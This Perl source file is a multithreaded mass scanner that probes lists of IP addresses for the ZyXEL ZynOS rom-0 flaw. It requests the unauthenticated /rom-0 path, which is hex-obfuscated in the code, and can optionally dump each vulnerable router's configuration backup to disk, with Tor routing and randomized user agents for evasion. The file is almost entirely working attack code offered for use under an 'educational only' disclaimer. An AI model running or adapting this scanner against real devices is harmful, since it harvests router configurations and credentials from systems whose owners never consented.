#!/usr/bin/perl
#
#  ZynOS rom-0 Flaw Scanner
#
#  Copyright 2021 (c) Todor Donev <todor.donev at gmail.com>
#
#  https://donev.eu/
#
#
#  $ perl zynos_scanner
#
#    ZynOS rom-0 Flaw Scanner
#   
#    zynos_scanner --targets=<FILENAME> [ --threads=10 --redirects=7 ] --help
#
#      --targets    |  Specify the list with addresses that you want to scan.
#      --dump       |  Dump rom-0 file for each target
#      --tor        |  Use Tor anonymity network
#      --timeout    |  Specify HTTP request timeout. Default: 60
#      --threads    |  Specify threads. Default: 10 / Maximum threads: 200
#      --redirects  |  Specify HTTP response redirects. Default: 3
#   
#      e.g. perl zynos_scanner --targets=portscan.log --threads=25
#      e.g. perl zynos_scanner --targets=portscan.log --threads=25 --tor
#      e.g. perl zynos_scanner --targets=portscan.log --threads=25 --tor --dump
#   
#   
#    Author: Todor Donev <todor.donev@gmail.com> https://donev.eu/
#   
#
#  Install CPAN packages:
#
#  $ cpan install Getopt::Long HTTP::Request LWP::UserAgent WWW::UserAgent::Random Data::Validate::IP MCE::Hobo MCE::Shared
#
#
#  Install rom-0 decoder/decompressor:
#
#  $ git clone https://github.com/todordonev/zyxel-revert
#  $ cd zyxel-revert
#  $ make -f Makefile
#  $ ./decompress <FILENAME>
#
# 
#  Disclaimer:
#  This or previous programs are for Educational purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages 
#  caused by direct or indirect use of the  information or functionality provided by these programs. 
#  The author or any Internet provider  bears NO responsibility for content or misuse of these programs 
#  or any derivatives thereof. By using these programs you accept the fact  that any damage (dataloss, 
#  system crash, system compromise, etc.) caused by the use  of these programs are not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk! 
#
#

use strict;
use warnings;

use Getopt::Long; 
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random; 
use Data::Validate::IP;
use MCE::Hobo 1.817;
use MCE::Shared;

my $queue1 = MCE::Shared->queue(fast => 1);
my $queue2 = MCE::Shared->queue(fast => 1);

my $redirects       = 3;
my $timeout         = 60;
my $targets         = undef;
my $threads         = 10;
my $tor             = undef;
my $dump            = undef;
my @rom_artifacts   = ("\x62\x6F\x6F\x74", "\x73\x70\x74\x2E\x64\x61\x74", "\x61\x75\x74\x6F\x65\x78\x65\x63\x2E\x6E\x65\x74");

printf("\n ZynOS rom-0 Flaw Scanner\n");

sub help() {
    printf("\n $0 --targets=<FILENAME> [ --threads=10 --redirects=7 ] --help\n\n");
    printf("   %-12s |  %s\n", "--targets", "Specify the list with addresses that you want to scan.");
    printf("   %-12s |  %s\n", "--dump", "Dump rom-0 file for each target");
    printf("   %-12s |  %s\n", "--tor", "Use Tor anonymity network");
    printf("   %-12s |  %s\n", "--timeout", "Specify HTTP request timeout. Default: 60");
    printf("   %-12s |  %s\n", "--threads", "Specify threads. Default: 10 / Maximum threads: 200");
    printf("   %-12s |  %s\n\n", "--redirects", "Specify HTTP response redirects. Default: 3");
    printf("   e.g. perl $0 --targets=portscan.log --threads=25\n");
    printf("   e.g. perl $0 --targets=portscan.log --threads=25 --tor\n");
    printf("   e.g. perl $0 --targets=portscan.log --threads=25 --tor --dump\n\n\n");
    printf(" Author: Todor Donev <todor.donev\@gmail.com> https://donev.eu/\n\n\n");
    exit;
}
GetOptions( 
    "targets=s"     => \$targets,
    "timeout=i"     => \$timeout,
    "redirects=i"   => \$redirects,
    "threads=i"     => \$threads,
    "tor"           => \$tor,
    "dump"          => \$dump,
    "help|h!"       => \&help
    );
help() if (!$targets);
printf(" Error: TARGETLIST not exist, not readable, not plain or is empty!\n") and exit if (! -e $targets || -z $targets || ! -r $targets || ! -f $targets);
printf(" Error: Timeout is too short. Minimum timeout: 10\n") and exit if ($timeout < 10);
printf(" Error: Threads are too many. Maximum threads: 200\n") and exit if ($threads > 200);

my @tmp_targets = ();
my @targets = `cat $targets | grep -v '^[[:space:]]*[#;]' | uniq`;

for my $line (@targets) {
    chomp($line);
    next if ($line =~ /^(\s*(#.*)?)?$/);
    next if (not is_ipv4($line));
    push @tmp_targets, $line;
}

@tmp_targets = sort { $a cmp $b } @tmp_targets;
@targets = ();
@targets = @tmp_targets;
@tmp_targets = ();
printf(" Error: There are not valid targets specified for scanning.\n") and exit if (scalar @targets == 0);

printf("-------------------------------------------------------------------------------------------------------------\n");
printf(" Target                         Code                                     Status                              \n");
printf("-------------------------------------------------------------------------------------------------------------\n");


MCE::Hobo->create("work") for 1..$threads;

$queue1->enqueue(@targets);
$queue1->end;

while (my $result = $queue2->dequeue) {
    if (exists $result->{finished}) {
        MCE::Hobo->waitone;
        $queue2->end unless MCE::Hobo->pending;
        next;
    }
    my ($target, $code, $status) = ($result->{target}, $result->{code}, $result->{status});
    printf(" %-30.30s %-40.40s %-50.50s\n", $target, $code, $status);
}

exit;

sub work {
    while (my $addr = $queue1->dequeue()) {
        chomp($addr);
        my ($target, $code, $status) = scan($addr, $redirects, $timeout);
        $queue2->enqueue({ target => $target, code => $code, status => $status});
    }
    $queue2->enqueue({ finished => $$ });
    return;
}

    sub scan {
        my ($addr, $redirects, $timeout) = @_;
        my $user_agent = rand_ua("browsers");
        my $browser  = LWP::UserAgent->new( protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 });
        $browser->timeout($timeout);
        $browser->agent($user_agent);
        $browser->max_redirect($redirects);
        if (defined($tor)) {
            $browser->proxy([qw(http https)] => 'socks://127.0.0.1:9050');
        }
        my $target = "http://".$addr."\x2F\x72\x6F\x6D\x2D\x30";
        my $header = ["Content-Type" => "application/x-www-form-urlencoded; charset=UTF-8"];
        my $request = HTTP::Request->new (GET => $target, $header, "");        
        my $response = eval{ $browser->request($request) };
        my $content = $response->content;
        my @matches = ();
        foreach my $artifact (@rom_artifacts) {
            if ($content =~ m/($artifact)/) {
                push @matches, $artifact;
            }
        }
        my $status = (scalar @matches == 3) ? "VULNERABLE" : "NOT VULNERABLE";
        my $code = $response->status_line() ? $response->status_line() : "ERROR";
        undef $response if ($code =~ m/401/);
        @matches = ();
        if (defined($dump)) {
            if (defined($response) && $response->is_success && $status eq "VULNERABLE") {
                my @config = $response->content;
                my $config_file = $addr."_rom-0";
                open (FH, "> $config_file") or die " Error: $config_file $!";
                flock (FH, 2);
                truncate (FH, 0);
                seek (FH, 0, 0);
                print (FH $_) foreach (@config);
                close (FH);
                @config = ();
            }
        }
        undef $response;
        return ($addr, $code, $status);
    }